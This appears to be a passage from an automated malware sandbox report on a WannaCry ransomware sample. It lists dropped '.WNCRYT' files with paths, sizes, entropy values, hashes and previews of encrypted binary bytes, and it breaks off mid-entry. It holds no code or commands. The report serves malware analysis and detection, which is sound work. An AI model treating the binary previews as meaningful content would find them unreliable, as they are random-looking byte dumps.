                                                                                                                                                                              Preview:WANACRY!....n.5?..7..;F.yB.P.KQ.zv!.Yd...!.ib.....=.Nj.N......e}Iq.......N ......j...!.:....G....r[...........I`(.1....~..1...].%%....?v,.`.g..K.;.....3{..9..@ k..VA..p.....[..b...a...D......c..%..M.F6T...].=....H9...M.g....%.8.`..I....%.....!0.%..\..Ce!..............6.c...........D8.+o.. ..B.Pj..Q>K..H._.y......]..:....O..^'.....&..v!"._.&...D..H>:.....$.\L.h.i..k.X...F.~.1.>.q|..~......i*pT........z..R.{*..JE."..QZ...`$....4..a.@..>...... "...;...?.&..a..7.&....I...eo.e0..).(....8'[.:(.A.:..vo...5s.^..)....;...:O$..z.K.1...W..v.....<.qm.a+....P.....m.[...U.j.pn9.n.:..]...Id."...|6.P.c..+..5......8..*.S............zpk.ya.)..]...E%.o...l.....^..4Nt2.v8t..jD.z..c...N.WC&f$.4..'..g....C..|.A.m.k..<y/U..*.i.x.Z._A..K.W'.M.........s.*y...<=.+...).m.17....)....6....@...IN.Os.?H.i...&.........C.:.>.....i.}...d...8A......1.Q..h|.M'a^..5..9..>...)..............C.X`"...v....b..9oMc..u..6xU.0.uZ..w....#..Z..l!......[.......5..+.G.y....J-.u.)........I

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):112328
                                                                                                                                                                              Entropy (8bit):7.9983305033412275
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:SsKzkY7Fo3PBy/LDdDS/5rP7vynjzWAQ91RfCqWH9zZ0HFWbF9hHoDwOuJ3gtIcQ:Ssq3ZCqLJe5rP7wLQ91/WH3+8RkwObbK
                                                                                                                                                                              MD5:B116A46E583B0CC8F77603940BD0C051
                                                                                                                                                                              SHA1:A873E77AA2517CD918A47D7C745885F21FBEBC4F
                                                                                                                                                                              SHA-256:D4B38C3EB9902465C1416FE0ABE4CC270055AEAB98A967504E6159D18BE7C461
                                                                                                                                                                              SHA-512:C0B85ECB9C5D3744737E55C9BD7A41D6459CA0879FDBC9528F29DE44C0755608F9C08A043817D4A6D0431D701BF8A300C41505D0AEF1CA638624C2336523E46E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....L.,....]I....,......>......H.>.d.....2....].F.....).......W{.[+'...I.X.EJ.._R.T.S..yza.U[..p....Y.\.. K.")C....\.eO...s....<m..y$.N....n$../.....9....,Y.....|..eO...6.%...-(r.X.f..D..+...|..J..;q8..c..=.F..........T,8n..........+..W24.............EGe.0..S....g;...$...'....|...:..."..u..=...cQ.......m.nf.w..U...:.I)..jI.......*.~;..3....e........n...'.z^lu1\J9....q..m..q.....j......`Q..Nz/.\H.pIM]V....A..x}WW.D...'.HIQ4...`...g..W.."....7?..~..E..g.Dki.<A._.....Y...8.cox.x..|P..{5?......."..".....z..<.dfY....H?.}.m.T..<.....T...y..(.=....?Ug.'.J![.FW.$j..y_.|..$...6.,N....{.Ha.6,.....S.Y.Y......U..1.;.:..W..K...#..ZM....Ni....$..q5O..mc.n.4.m.\cs.u.....Z.|)......-....,s..d'..~xC..AB.~..qvm.SWLf...({k..Vr.....:-M.x..`.Sy...K....&$.$PYg:..D......2^I....'W..Xc>.3T7G.!vvC1F./..6..b..._I E.};.2'.?S...Hog..+...2 ......._.C.......^.#....V......3o.6....ao.A.^h....~f}9..K.f0%".....d..w.....v...0.;...`..g..s.(.{(...Ue.'l.;..z....T.P2.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\0.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.824043252877261
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:AY2fnfNNVDXoaAYK7JzDBZkw9+6DokKE84tO0NURRCz1Z1TCemzHoBbl+n:JIRDLAYKtHkwk6sEfzNURoJDCeR+n
                                                                                                                                                                              MD5:96F46F69DBA32317D39D7BC55EFA7B57
                                                                                                                                                                              SHA1:F02ED6C0B7C0D4A2F3D84E6709C8E1D7D3CCF08C
                                                                                                                                                                              SHA-256:132695CE756EA624361F4AD0CFF2F1627F6D9CA64491E9440B0050B3BE8589F4
                                                                                                                                                                              SHA-512:1D7F4858A0242B0D105A5D7E96A39BF8A5D4DC5B353EB55C373C6815D45E4C5B2BE41A5385EDFE85FD51F8B62DA78703030008FBD7F617AA695AE058F2875D9C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...<..Jd..gWC.....:d...,...`.....P......!.g.Z.?.tI.^.v..]..%..h....'0..A.?.{.............(...v...\-...t.].Yg*...H...1..1.L}..a....=....Z...."S./-x.]$..^*J..k>X@kJ......r...!......(.......G.Gv..6~....Z.............t..~=.`...i..nM.X..Wr}.-/...(.JU...R$9..rV......i..[.Z...<g+.O.nk.z/@3hf.Q..s......#g".3..!...........!.EM^Z....*)._.{.;.g<|0..$....zm.o..2..m...'...5p.i..E..W.r....R.8.^.W....$..h..5-...\...R.+......3`b..C\.F#w-...e./....w.g....)..v$...R.X...R.04..$...ccv..A,h.....v..rE..I.O..../v'x'H.b.eo3..z..B......<...XJ C}_>DG{a.Ee.+7.r..G..6Wa..D.|V.2.....1Y..^..B.A.....Rl'...kk...:.b....m.,..:.^[.Ed[l..!.s..L.t..&....|.a......9VG.Pr....\..J...._m..I.U......k...l`g..+#.......I.hY.%.$..n>......?u.....2i2... ...r.L.......v-?.=....s..V..........].l..;@.$g...Q../...u.F.v)nX.6d.....(.K.-(.P.Rw@.U..F.R..........d4_.`x.T....D%`\..V..-S...-.4..$.t..n.I..7<.;...05]..5.q.;..".(.5.&W..$.+)D...bm.O..T.....-k.....I`..1....1Hz...Q..?.r...awy....wZ.8..P.

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\1.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807358026279831
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:Y/WAY7+knGOrGWwt9KeNdCqMjLdtkIax4UlR3cqW2osAGuQZ5DZ:+7OqWiKLDLdGRRsqT0WZ7
                                                                                                                                                                              MD5:A128F80E423D23BCC8D7FF9C40FBA48B
                                                                                                                                                                              SHA1:4400CAA2B48D0D0A43A424C9DC0720040BCA616E
                                                                                                                                                                              SHA-256:30B9EF87A0C5A82B4A277AF2B4803E02F21A553A47B8A758AB1B0CF41C92626B
                                                                                                                                                                              SHA-512:9F46607DDE6BC7E7244378D95C6C4B53429291155C92119554686BC010C1F96BE06018AD69A77E648E4013C653A2C9A628C2FB0712C2130631D8E2758AB6652B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.;x>KM.aI...(.w.EiQ8&..{...t.1^V.e/.e"..-|6....<5.....~.....(...w.$a}J..../.N ...A.$..^.........D..I.....H......{.s.*.X^....m4......(....3`;..H..en.Z9..,~.\>.._.[`.X%........7s.<6......%;oq...g]....\.d..3.}..2(h./...3..C.2<.............Yj.O...o:...x......J.~p.[a......}s..../Zk.d........>c.}#..........~....e...k&..o......)+.B.....+"..m..9.}.GP..&1./.6xfy=g".....|...;.J).\.3....fw....M.:...J.q./........)7...*b&.0.......rG.@.1$...[k.zw0...GWZ...H0..E....YVE....y?. 5.Vg1v....~..|.g...I]...h.{~.Y.]p."..\zB....?DCa......*..8.n..........YH..K...v....T.W..._Ad.vJ..}..^A).$..zR.&.....[.SH..Q3;(.<..eS._.Y.=.v]...j...._VcSCN...S.iI...........n.1mC.2..>........j#...2.yIv....J4./....j.r;"^..[....T...i..U.!H...&.U..ZT..T.D.5v(W.. ]j....^.;z....6....H...K.in...1..<L......M.k....'#...J...)..Z..{...-\.P..\AEs.g.;..C..xa..".....uj}3f..U3z]?..}.s.=W.......IU.~....<9.aOX>....S.2.^:....p.;@.V..apt..q..uF..Ds 6H....;.&...?....y.8v.x..>...o3.K.I..0.Sp|..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\10.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.806604472265477
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:cyWlJsZ2rth5CbZb2COPin7262WbNiRGbibU+ooIoc3nyPu72x0skA4ABY:cyoJ9hEbMSnKWNiRGgjooI1yW729kLMY
                                                                                                                                                                              MD5:5C85065D4F278D109F5649B87D8E3CAE
                                                                                                                                                                              SHA1:6978C3E31C7139F62A15B5FE908502E996AD7866
                                                                                                                                                                              SHA-256:D7E727E2BD82FECDA01EA800FFDA5F26E4D7137ECA46FE9DB53D88CB7C2E2953
                                                                                                                                                                              SHA-512:44BACB2DF685DE68DC275F56A854AAA5E0018D02F9F975909119E45CDE70BFEE2C9E8D6DB343FDC2B62660CA281CDEAB874980245285468D22627A5B64446DFE
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:!cr....s.......G8#vsO.V...4.7!....B....I.b.n...r\..0......|...._}......;.2.._.....m.O..L...e.K..i.xR.....{.U.Y.1..&.*.N....J.^..Q.(a0rAQ..o.......y...D.|{..C7WJ....L...4'.4..'.8!lJ..x.....Q..&.f3....."V...... .'..d.S.uu....Z%..;....-f..y.|..]..<.i.eU.v..T...!.u.M'.m.L...T...D.d.c....!...9.z..l.M|.V.}.z_...kJ..]B..,.|`.y....6..m...c....[...4X"a.e.8.p.Js.Z..S3...&a<=..)........+.n...Y...G..!....k|.{j......Z...[.L......W\..... .wA.T..D.Fe.>]*.6.8..R;.3...7..T@.3Y..q...`._...e..s.J{....u.S_...`...6..[..z.s.J.}.@......G.N....|-_V<hn.1C.,S...X.<mG......,..Z.u...<.O.,.M..1.....7~;dU-..{4.........yLd.({..aS..p.4R......;..(Wz.K...R....k.........=y..`....E.......~..js..1..s........|.|xR.vK....I].A.....D.t....h|........3...).bo/y.r..m...`.RZ.....%....-.2.lu.#..G..z.'....4H^..&......a.._..zj.Hp......(..Ku:".|2.h..w...R.....*S.,...!.S].,.Vns....[....T........q.....p.O.b.&...0..)......eu..@.c.fF..eE.&..+...m....d?tEQZ.z..|,d.xq6..K*....bm;.l..

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\11.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.823196627278099
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:fRHEIOcvI98mfcjxsfV5gAgcKQzFFW0D6CFyEGBkPo:fdOcvo8mUNs0hoFMqfGuPo
                                                                                                                                                                              MD5:26DDFD80D239094924EA3DEBA387FE23
                                                                                                                                                                              SHA1:1496FAB1564C6C3A11A14CC9B0348A724B92779E
                                                                                                                                                                              SHA-256:E9A0718B23415496D9796E97F9F1A237C8DEA367C6F1CCED947BCEB4D16F80FD
                                                                                                                                                                              SHA-512:F6550DA9FE2CE2A13C0F0D89DEB55DA6C3B0C25670B971691E36A98260DA75FF4663A14A122BE936847E9AC1E0B078BC1636752C471DE5345586A5AD185F2D2C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.+.V8R.Jk.O.gg.<6..&..BQ\..Ll......T..s.*..*.@.S..%%...._.U.zH...w..<Z.H...&.......;.%k..@..@...g;.{{..v.gN..._Z...N..........u\./....5...,.F..Z.(.n....k.......7.........W..j...Q.........G..?w$E.Q\.......G.4....3...d..N...ZP3.X0.p]N_J..s..q).d.S.n..B..#..k.X..u..Q....d....J...y.Qu#......h......Z.BZ%O=.........{.....x.....Z.....$F:C.'......../d...|A...6.....J.i... .%YT...D4./...h.zh..Rb$}f.b.NN"'....%."...A%dM...m..V...W.c.;.E_$t....=.'N]...+f..ts...HH... .x.+......&..W.>...R...k...Z.j..F......S'\..}G............u.t..V.:.p6*s.....z.A.:...m......T8....../....R..d..."..*.g.@A...z...l..].p&.W.~...............8..P.....e..k.l..<,X..K....N[.T.6..'.17...o...,..k..V+\.R.."{.d{.!n?E..3..t.......=s.c.w...D...[r.E..|..........4..@.*"l{..]kO..{N..f..>.R..`..k.[.BT.vr..P.`..u.. ..AL&.)....5=|d.Z.....^.. .`,I[...K..............PVG..wF.Cr..-)....79Y.....e .9S..TK.....1@..~..^.`. .....r.kZV..[~...)..v`.m`.?..V.X..\...T.i}.+C.K(\..7..6I;.....T..~..'D|..E

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\12.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.807569268993988
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:NirFkZd26UnJNML3Q0fT89zFye8lLXoM4lCz4aDCjoOHjxxa:NiJQd2vN8AfC9XR45xxa
                                                                                                                                                                              MD5:FDF500C1A16877D1D4F973B1CA0CF152
                                                                                                                                                                              SHA1:919926AC5E2EB6848449752E5F6D9295F1559C51
                                                                                                                                                                              SHA-256:324A9117DFABACE785F90E62934E5C794803BD95954FF0B7ABA3D5A584D8E702
                                                                                                                                                                              SHA-512:A2ACF858AC2A0CAB3BAEFA7F36260290C1C9D5ECA29AC74AAC44C1E00E8FB118593B004829EAF5404F284A81E09700FA9A31000FAA74E8FC1EBDBE7094144DC3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.f"..0K.6~.!.|..'.d.....'..{.W.y...&..;.a#.9.HO\,;r......F[...c...O...4.s=..v.|B..CC.ug.+.3.....u..Lh0g{......C..@B...#..f1P..\.+.....:..2`....(,o...ZT7...;FZ~.......6...'.=.5.f.....E=Y..?.?J.....I..J........$a..vF`.1.g..r.{X.@.....*.4?......r...f..B...FM!...,#.+.(.|y8.....).=.....8.V8~.<..#{...B.A.@k"o1.V.7w..)..K++UrR.F.]...w.l.2M!.......X..|.#C.)?\..._A&..KT.,5....?.....U+..A.....v&G*.p.9\Nz.~o.3.....G..F.......O....U|.....v+...?.".....L.....x.@Y.?KO.i..~.].6..T.2P.....Q...G'.?.e.w..DiU.|T.....[G.!..#......`./.50v<.N$.bg\..\....-...D.=....uj..u<..!.Qr[.;...k.A....3..d.w....F+....'...&..)...B3...~v.1m..{!...0 km&B=..B=..#...:'.s...c.....$..M^|...#....=...Y&H{....-e#:....S|{..=D.d).d.PC........hbT.....n.....R ..Zia.En.6t#..1......X.;........*....A....A.m.%..._..Y.C..-/.............N....;i....;|..vgM0...+.Uy(...4.P...g.Q.y..M.J..(o.....KVC.YD.Q...P(:...S<.>_...,.D...E...D...m..+./{....J_..._?.0..0...B....".H.*..[......:F<...t

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\13.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.802656125440578
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:857jIIDlitZDFOFDdbiO/gHBBgviNQIehPDI7H1tlENFsljDjapeq0TH4C/aZ5sA:EfI/ZDFOFBbl4HsD6OFaZLTHBS5NLNl
                                                                                                                                                                              MD5:9359F2A34D8898E3ECD12950392091AE
                                                                                                                                                                              SHA1:2B51A6AB508DA5F8C0EAD053C062740A44603802
                                                                                                                                                                              SHA-256:7A97A599A064542AE8489AE42041FC53F836563072E09F57EF41D7656B97009A
                                                                                                                                                                              SHA-512:6C8BDE07C845EABEC4AECD2C81FA459019EF9606E649D7CEF6713F46C64763478485A6D9EEB8DF89A2F1857E6B0F8272525ED5EDD436A01263646ECEB38D3E0C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..a..I..S..3R,FBP.d..z..v2......3\.?......L.T.t|.....b9.4S.9...pK..G4.....CP......,.Q?`c.....g{..1]7......^.X......xW.J.W])..^.p....wv........y...,P....c.JJ<.A...[.2....[..H.?,..S.c..E._... ?R....\.PQ/...d....k.R.byE....a.c....9..B7.].'..&..u._.0.......3!QY..$l....N.FZ.6G.....r!..${&.%..p...6...K...m|Ox2e..E|...\......Rp<.....Q.5jA].......@.w7\a.W......py...-lW=...CH.....(..J.-.Z.`.,..w..p.C..T...va.X.hN.=5.o.#.F.....L...2.H&<.......k...Y..S.=.......&..Y....#.iBf....k...?.P.jq./&..........`@.Z.......&.....M.Es...y...K.TT>....j.DF.=8%...dP9....#.....Y..G&|lc..1....rn}.UuF...$.O7...=_X...... ..i....3....a<X%..J.k..".Q..B.F.....W2M}.V..5...WPR...UQ..<c.~..:.Uk..$.J.o{=a.g.._oG......._-~n_......e/t..P.`.\\..x....r...v.i6.CG..i<..@{P?o...e7.c......q..."<>'....b'~gR...........P.#..c.s.]..EM.....2<<o.O.[.@.'.....b....K V.h.PM..c....es3....u.3.....m.H...K#..5..ug..l..5...\.,>.N......".I.....>...jug|..T..[...V...2...E.?;.r.#......%a..r....].C.....E

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\14.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.806910051343698
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:kce1KcLetmb3tvm5QucO2nT2Dv0FCOeYL3OAwdIIMIoPqQa:gxLLb35m5EOMT2hY7OAytMVha
                                                                                                                                                                              MD5:A4C0F4764AAAD25A985873470DF3AFBE
                                                                                                                                                                              SHA1:66BC29F8BECE04C7B76979FFE20D4E658B916B7D
                                                                                                                                                                              SHA-256:8F30802124C3E0CD00AFA1C6F16FD3F6351EDB91D60D1E37CD47036960534CC5
                                                                                                                                                                              SHA-512:62A23E8266EEFB813534A837EBCA8E1786189B421D9AF44E692106F9AD191DA4EDE9ADBF5A6F3886E3DC48B61B04C4D5134BF2D0DF72F91F389247C66016538D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:m...^.N.....k..%Mc...W...3.}.h./".k..........+.vG.G...?..Io..f.W.......Te~..i......Ii..Gm................3u,.......h..I..X.:.[..?...I.(zL.}.C.8i.M.T.{.L.)B....'.3yB.aQ'....Y.'...#.w...sE..E.......t......vL.S.........j...MV>..".]...vX8Mw..Y.UW@+,...P.CQU ..;...G.4...".9.-r..V.....S.."./...5.U.x}.....nY......r.....\{.;...OG.~Xg.h.....KpX.E...j.w%..._...0.<.c...<O.. ....e../....rk%.Ul.O%.<.x}.u..L.W..w....Y..A..t....i.o.uD....*..G...B..43.^S...;{O..>....u....../:?.%L\..p*...u.d.0..L..D56...a.WY.eO=w%..1..m.5.C~...&.L._?.].U....@.o..O.s....5..ls3.O.....2c..J...}.D....."........o.S+n..>.O._..rop.[L~.......$_.bp..e..BZ..]....M..YX...`......+.....<...,R#....?.s.-....j..+.9R.]......Q..j.r.K.i...h.....N..T...3hcQ....1.o..%.H.....{8#.".e....Pu.^.e.?....p.[...A....8.1..[%.9..# ..-.......P....y..z......O....z3..j..=.J.\E..r-z3..4...T3./l....:.P0@.^...\.N.IS.b!..M.....Y....2.=...4........|X.\..S......._.'..#...x@.b.w..)E}H..J.D.k80b.9...0<nv.......=.|.1qH...k

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\15.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.7753459050544835
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:9voyLyNb0IaxadpoKA71Pp+3NTXCViWF8yL5VPZgE2OIuPzlStdKWKL:9v2Nb0xkG7p09miu8yXPZ3ZPzlaI
                                                                                                                                                                              MD5:1542208B75170866A407BA4B2D5119AD
                                                                                                                                                                              SHA1:76028999D60152FA96D5265B4086F196089ABB68
                                                                                                                                                                              SHA-256:4D7B0DF893F342B6FC20D47C62482F83CCB01F14EA64D8E96529F9E9BD52E45E
                                                                                                                                                                              SHA-512:A2F64DE9FF2DACEC60B05C263EA3910CB5BFD0DD8A0B06554B1B3CF07C68EFD9F2114E48811B06045432930D304EA53BAB18DDBC9DE7DCA9F6A691E3BF4503EB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:W..[.fUP..5.u..Vi.BxE..QK..Y....TSP....6. .5Xr.....&..".3.....x....#.(};...t.d.2....l.....I/.i.B<HzH...!z.`$.T..K8l.......t.z.>....>*q.?.=W....'.O..li.G.cl..h..|..19o......v\KAP.#.sy.h<.Xp......-.}...UH.?..*.......t.....n..........=.,.....<.L...\.#......t.m.J..E.@...z..t......*,....?V....Qx.|!..&L..{SUx.d.....P.N..osa.?.F.<m3....wm:W..8.MC.P.y...t./.C.b.}Y`&.k..v..:N.........2.[..h-.V.EPC.R....r?..k$4.;.....53....P.T..-~.].|[}....n.E&.,.O..z..^j.2J\x."[..MP5.LZ.o....F.3.O......QO8...A@}....wM.P2....v....5.......Bh....2...q`./t.~.wF%.C....f....?...%....i+K...a.......#.H....~...G/,.6..=..#...:....U....-..{1...iQi..%....b.e..=..&.<."jA{e[....F.tk..<.@_._.;oV>._X.Q...89...g.....[.T5G...kX...K..C8......%.t.j..0.._<..qo..d5.M.j.......1.....w..mdb<U.`.68..v......t0A.M..F....\@..f.w..d..a...H.|w@.&.C.y.......b.X:.l].I...\.&I.dL&.?v.n.q.n...].....wA.yN.bE.+..s.kM.q.9...E.xpr.t.7...]T.)}.e....C|...H..%..U.j....tK.&..;A....Ie....C..`.(..7.$....q.$vAwk.oj

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\16.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.802910603227207
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:1RiDyr8pkaIe8tTgThE+sSrPTmTICzVd5AfVwUxcMJNGgpMiS:1RLoph4TQhE+sQKcCzVdZUqM5pE
                                                                                                                                                                              MD5:F19933735561267213BA799B29A04ED0
                                                                                                                                                                              SHA1:E5E1234C1A50FAE7F0710CF80FFB979DD6DCB4B1
                                                                                                                                                                              SHA-256:D3E09576D6850A49DDACBE96C58E5BD750E8C39FF89D5078C1838CA3F4E6E13E
                                                                                                                                                                              SHA-512:18608E07B464A4ABBB1FDF7C11CC2342DF2AAC4387F9A76D1DCD019F3F9BA7714E4D6DC3CBF60BA07DC8E5CEEC8B16CD7666573EA4B6B6C5678B2DB7A274793C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:`......._...<e......cd..c;h....i5P..D...I|..Y.8.1.[.2.....T..m..a$y0.c..<>LH.....;..3h2V.r.g...0O.D....{.r.,K{.....R.".....o4.s.f<..,.F....`..v..t:.c..=.8..,..Q..x..;...:...!...K.6y.... .3Y.. .......2=....f....G.A..*."$...b...-@..Qe....@.%%.......N.k3.S.a....a .-.:*..g.G....h....e..../.t`q......M..!b$K......K.'.;.%..4."p......n......on....V8........L....j.......J.w.IS.O.`.yu.ID0...w ."..)mg#....#...6..e....J.x.`~..%..0X.%..D3o.R..Y............D..D.8.u........Q1..R...,6...n4{w.k"w.KV`...]RW..B$.DS]..r.wt1..C....8r/S..$.....|..J..Q@.u...&Jq.$.3.X..Z.s&UTm..m`...v.Z.`.\.T....(<..R..iV.mz).VTC......y...Ye.......}.#.H.......#...d.i3.dz....../xA...nT.?.|A...:j..z.)h8|...|......5gs.n+...X....K....y.......s...T.O${n.|...q$....-[\4.Y......f......2.X..*.........$.a.|v..6d.xg.n..3_Z7o..J4..C`d..S...*q&..FO._......w""&~.P.+4...H..i.+Z.n.{.b....4./.7.....Rz|T.<A%.K0.-.JXds.GS.]y.........m.[J.w..f._G...E.[...B..@.m?.`A.mo..........K.v.P._$

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\17.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.8041692841409205
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:tAijG9PEAUwiEI1Hsw1HRI6DAB4Tr1rYx:tRCQtH1HpIaTo
                                                                                                                                                                              MD5:0E4EBBEC7892AF6EE71E7B70B0554116
                                                                                                                                                                              SHA1:E0BB6524309E5DA53BC469ED8CAAA875B60E1EA3
                                                                                                                                                                              SHA-256:A6F9FD5EB4BD2BD65E688B831F8E1E44F22A23079C4647C980BCB605C17E32D7
                                                                                                                                                                              SHA-512:B69B95B952EDDA926F8B77B4A8C66D46796F24F7C87644B68332176DB49C27B26EDD43EF62DE37BDAC1859D3102FB6532E2A70AD37CD6147CE42830F00DA5EA1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:!.n...#Su...OW.z..t...&......8KN.;.O.7^Y..\.XVU...LX.s..L<.%._9........$..8.[.F..UY..;f\.>.......R..[.Fz>....0.....vnII.wS....6.Kc..A.{.K..I[.}K3.$...!..$.B.a.Q.-.....Rz.{M&....rh./."cTr!.[I)N.).KR.F.$.....4L2DIN4.5K,...z.f.~....H...k*..a...?)f[.*.....8.gh..r.........th..{.....O.<....P..F.Mg..g~.f...Z&.'.b#.m...*..4i/%...z....n.<....{.6..`.....b.C.1.S..........2.*...7cX.. bn..s`..{...VB.f.9.G)o!.<HKsn....p.U.o..q...Y.!2...\.5.:.C.x.6.<.Fs.B.......s.o.`}s...D^x..IR..........H.....!.....~$..>.ay.9mC.d...CD..&_xD.S2.....Z+N|6.$..........%h...z....U|.Y..]}{...]d(.QMs.I..x....(.f....a.I;S.2=.E.<,....,.p.~....ne.$X...TV.UF.....v.%..@2n .F...e.o$.....t..=bVljd.........[+......@./...q...iw7(.JFx=.zt.e..C.V.:.bb7...v%..H&..R.X.;]....~2..0b..(....r.!<".r...6/X..0s.@.>z...'..KKy.0.9.l.."z..$/..v:..@t..=G>..{....9G#v..Tyk?*#X.+...w..I......q..z.bV..i..JR.E~..x..x..;?.fS.p.!d...:..[..s.}.....%).im:J....Y5,l.w.N.%..6..1...a......P.}....=q{!.X...t6.~o[

                                                                                                                                                                              C:\Users\user\AppData\Local\Temp\18.WNCRYT (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.802925683268583
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:gXJTjdSYUwzAra5TKv1aBYxZNHT/fes44y9JPqZm59WC0g0:gfC+PTKtaBYZNHT/WM0qZmTJa
                                                                                                                                                                              MD5:7451CD2D6E9A59E6271FA390EBBC69B9
                                                                                                                                                                              SHA1:4B67C3CFD7CC450CCD32FF435505ADBC292DBEE6
                                                                                                                                                                              SHA-256:055ADB827ABD6265528BB8440260664E61AD8A6E6F514C7D183EBCAABE858BED
                                                                                                                                                                              SHA-512:1707EAB7AE6C86267F84A0ADE8E05023F4825C7B36BF386FF97921C48E87BA9CD11F0CE3FC1DCB33E3FBB571BDC4DF8DD84AB4881E09315D2C075D936B8066E0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
